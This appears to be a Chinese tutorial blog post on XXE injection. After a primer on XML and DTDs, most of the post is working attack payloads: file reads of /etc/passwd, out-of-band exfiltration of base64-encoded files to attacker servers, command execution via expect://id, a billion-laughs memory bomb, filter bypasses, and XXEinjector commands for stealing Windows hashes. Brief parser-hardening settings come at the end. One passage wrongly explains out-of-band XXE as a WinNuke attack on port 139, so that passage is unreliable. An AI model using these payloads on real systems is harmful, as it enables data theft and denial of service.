赞
踩
XXE 漏洞全称XML External Entity Injection,即 XML 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意 xml文件。
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用 户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文 档元素
XML 和 HTML 为不同的目的而设计:
XML 被设计用来传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
XML 文档形成了一种树结构,它从"根部"开始,然后扩展到"枝叶"。
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
第一行是 XML 声明。它定义 XML 的版本(1.0)和所使用的编码(UTF-8 : 万国码, 可显示各种语言)。
下一行描述文档的根元素(像在说:“本文档是一个便签”):
<note>
接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body):
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
XML 文档必须包含根元素。该元素是所有其他元素的父元素。
XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。
所有的元素都可以有子元素
1.XML 必须包含根元素,它是所有其他元素的父元素,比如以下实例中 note 就是根元素
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
2.XML 声明文件的可选部分,如果存在需要放在文档的第一行
<?xml version="1.0" encoding="utf-8"?>
3.所有的 XML 元素都必须有一个关闭标签
在 HTML 中,某些元素不必有一个关闭标签:
<p>This is a paragraph.
<br>
在 XML 中,省略关闭标签是非法的。所有元素都必须有关闭标签
<p>This is a paragraph.</p>
<br />
4.XML 标签对大小写敏感
必须使用相同的大小写来编写打开标签和关闭标签:
<Message>这是错误的</message>
<message>这是正确的</message>
5.XML 必须正确嵌套
<b><i>This text is bold and italic</i></b>
6.XML 属性值必须加引号
<note date="12/11/2007">
<to>Tove</to>
<from>Jani</from>
</note>
7.实体引用
在 XML 中,一些字符拥有特殊的意义
在 XML 中,有 5 个预定义的实体引用:
< | < | less than |
---|---|---|
> | > | greater than |
& | & | ampersand |
' | ’ | apostrophe |
" | " | quotation mark |
8.XML 中的注释
<!-- This is a comment -->
9.在 XML 中,空格会被保留
HTML 会把多个连续的空格字符裁减(合并)为一个:
10.XML 以 LF 存储换行
在 Windows 应用程序中,换行通常以一对字符来存储:回车符(CR)和换行符(LF)。
在 Unix 和 Mac OSX 中,使用 LF 来存储新行。
在旧的 Mac 系统中,使用 CR 来存储新行。
XML 以 LF 存储换行。
11.XML 元素
XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。XML 元素是可扩展的
12.XML 属性
XML元素具有属性,类似 HTML。属性(Attribute)提供有关元素的额外信息。
属性通常提供不属于数据组成部分的信息。在下面的实例中,文件类型与数据无关,但是对需要处理这个元素的软件来说却很重要
<file type="gif">computer.gif</file>
XML 属性必须加引号
避免 XML 属性
属性难以阅读和维护。请尽量使用元素来描述数据。而仅仅使用属性来提供与数据无关的信息
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。 DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE root-element SYSTEM "filename">
这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
这是包含 DTD 的 “note.dtd” 文件:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
实体又分为一般实体和参数实体
1.一般实体的声明语法:
<!ENTITY 实体名 "实体内容">
引用实体的方式: &实体名 ;
2.参数实体只能在DTD中使用,参数实体的声明格式:
<!ENTITY % 实体名 "实体内容">
引用实体的方式: %实体名 ;
语法
<!ENTITY entity-name "entity-value">
实例
DTD 实例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
XML 实例:
<author>&writer;©right;</author>
语法
<!ENTITY entity-name SYSTEM "URI/URL">
实例
DTD 实例:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
XML example:
<author>&writer;©right;</author>
PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它 们。
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被 展开。
1.直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd/">
]>
<c>&b;</c>
2.通过DTD文档引入外部DTD文档,再引入外部实体声明
XML内容:
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<c>&b;</c>
DTD文件内容:
<!ENTITY b SYSTEM "file:///etc/passwd/">
3.通过DTD外部实体声明引入外部实体声明
先写一个外部实体声明,然后引用的是在攻击者服务器上面的外部实体声明
XML内容:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY %d SYSTEM "http://mark4z5.com/evil.dtd">
%d;
]>
<c>&b;</c>
dtd文件内容:
<!ENTITY b SYSTEM "file:///etc/passwd/">
甄别那些接受XML作为输入内容的端点。 但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。
例如:判断wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。不过现实中存在的大多数XXE漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机。
例如:从PHP代码层面
存在 Content-Type:text/xml , 说明post 的数据包含 XML 格式,如:
可以在请求头中添加 Content-Type:text/xml 或 Content-type:application/xml ,然后构造
payload测试是否存在XXE攻击漏洞
直接读靶机文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
恶意引入外部参数实体
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://vps-ip/hack.dtd">
%file;
]>
<test>&hhh;</test>
<!ENTITY hhh SYSTEM 'file:///etc/passwd'>
OOB的意思是“束缚数据脱离”,这是一种破坏Windows系统的过程。它通过向TCP端口139发送随机数来攻击操作系统,从而让中央处理器(CPU)一直处于繁忙状态。
OOB攻击 - 原理攻击者是利用Windows下微软网络协定NetBIOS的一个例外处理程序…当然95系列的不稳定性,也是众所周知的,因此大不必把一切蓝屏死机都归罪到oob的头上
简单说就是传递一个特别大的数据包导致系统死机.常见的场景是XXE通过XML实体漏洞来攻击
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.1.1:8080/test.dtd">
%dtd;
%send;
]>
test.dtd的内容,内部的%号要进行实体编码成%
test.dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://192.168.1.1:8080/?data=%file;'>"
>
%payload;
访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据
基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
所以和OOB的构造方式几乎只有url不同,其他地方一模一样
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "192.168.1.1:8080/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>
xml.dtd
<!-- xml.dtd -->
<!ENTITY % start "<!ENTITY % send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'file://hhhhhhhh/?%file;'>">
%eval;
%send;
'>
%remote;
]>
<message>1234</message>
虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip/?%file;'>">
%start;
%send;
]>
<message>10</message>
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">
%para2;
'>
%para;
]>
<message>10</message>
和读文件差不多,只不过把URI改成内网机器地址
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
亦或者,如果目标是UNIX系统,
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>
利用政策匹配不严格,大小写绕过
ENTITY SYSTEM file #被过滤
使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
如果过滤了http等协议,可以利用实体编码绕过:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a "<!ENTITY b SYSTEM 'file:///flag' >" >
%a;
]>
<test>&b;</test>
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a " <!ENTITY % b SYSTEM 'http://192.168.1.1:8080/hack.dtd'> ">
%a;
%b;
]>
<test>&hhh;</test>
<!--编码内容-->
<!ENTITY % b SYSTEM 'http://192.168.1.1:8080/hack.dtd'>
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///var/www/uploads/1.jpg">
%a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://192.168.1.1:8080/hack.dtd'>
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/1.jpg">
%a;
]>
<test>
&hack;
</test>
<!--上传文件-->
<!ENTITY hack SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/1.jpg">
%a;
]>
<test>
&hack;
</test>
<!--上传文件-->
(<!ENTITY hack SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>的base64加密)
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
tips:从当前文件夹读取文件可以使用/proc/self/cwd
利用EXCEL进行XXE攻击
首先用excel创建一个空白的xlsx,然后解压
mkdir XXE && cd XXE
unzip ../XXE.xlsx
将[Content_Types].xml
改成恶意xml,再压缩回去
zip -r ../poc.xlsx *
xxe-lab
抓包看一下
看到了我们发送的用户名/密码都是以POST形式发送的。并且很像是xml文档、
接下来只要有一点点的xxe基础就可以了,目标明确,只要我们构造的payload最后输出在username里面就行了,于是构造
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&test;</username><password>Mikasa</password></user>
可以看到已经获取到Windows配置信息
XXEinjector是一款基于Ruby的XXE注入工具,
它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解
攻击需要使用到其他应用程序。
建议在kali环境下运行
基本参数详解:
--host 必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2) --file 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt) --path 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc) --brute 必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt) --logger 记录输出结果。 --rhost 远程主机IP或域名地址。(--rhost=192.168.0.3) --rport 远程主机的TCP端口信息。(--rport=8080) --phpfilter 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。 --netdoc 使用netdoc协议。(Java).`` --enumports 枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445) --hashes 窃取运行当前应用程序用户的Windows哈希。 --expect 使用PHP expect扩展执行任意系统命令。(--expect=ls) --upload 使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt) --xslt XSLT注入测试。 --ssl 使用SSL。 --proxy 使用代理。(--proxy=127.0.0.1:8080) --httpport Set自定义HTTP端口。(--httpport=80) --ftpport 设置自定义FTP端口。(--ftpport=21) --gopherport 设置自定义gopher端口。(--gopherport=70) --jarport 设置自定义文件上传端口。(--jarport=1337) --xsltport 设置自定义用于XSLT注入测试的端口。(--xsltport=1337) --test 该模式可用于测试请求的有效。 --urlencode URL编码,默认为URI。 --output 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt) --timeout 设置接收文件/目录内容的Timeout。(--timeout=20) --contimeout 设置与服务器断开连接的,防止DoS出现。(--contimeout=20) --fast 跳过枚举询问,有可能出现结果假阳性。 --verbose 显示verbose信息。
枚举HTTPS应用程序中的/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
通过直接性漏洞利用方式进行资源枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
窃取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
使用PHP expect执行系统指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
测试XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
记录请求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤关键词:
<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。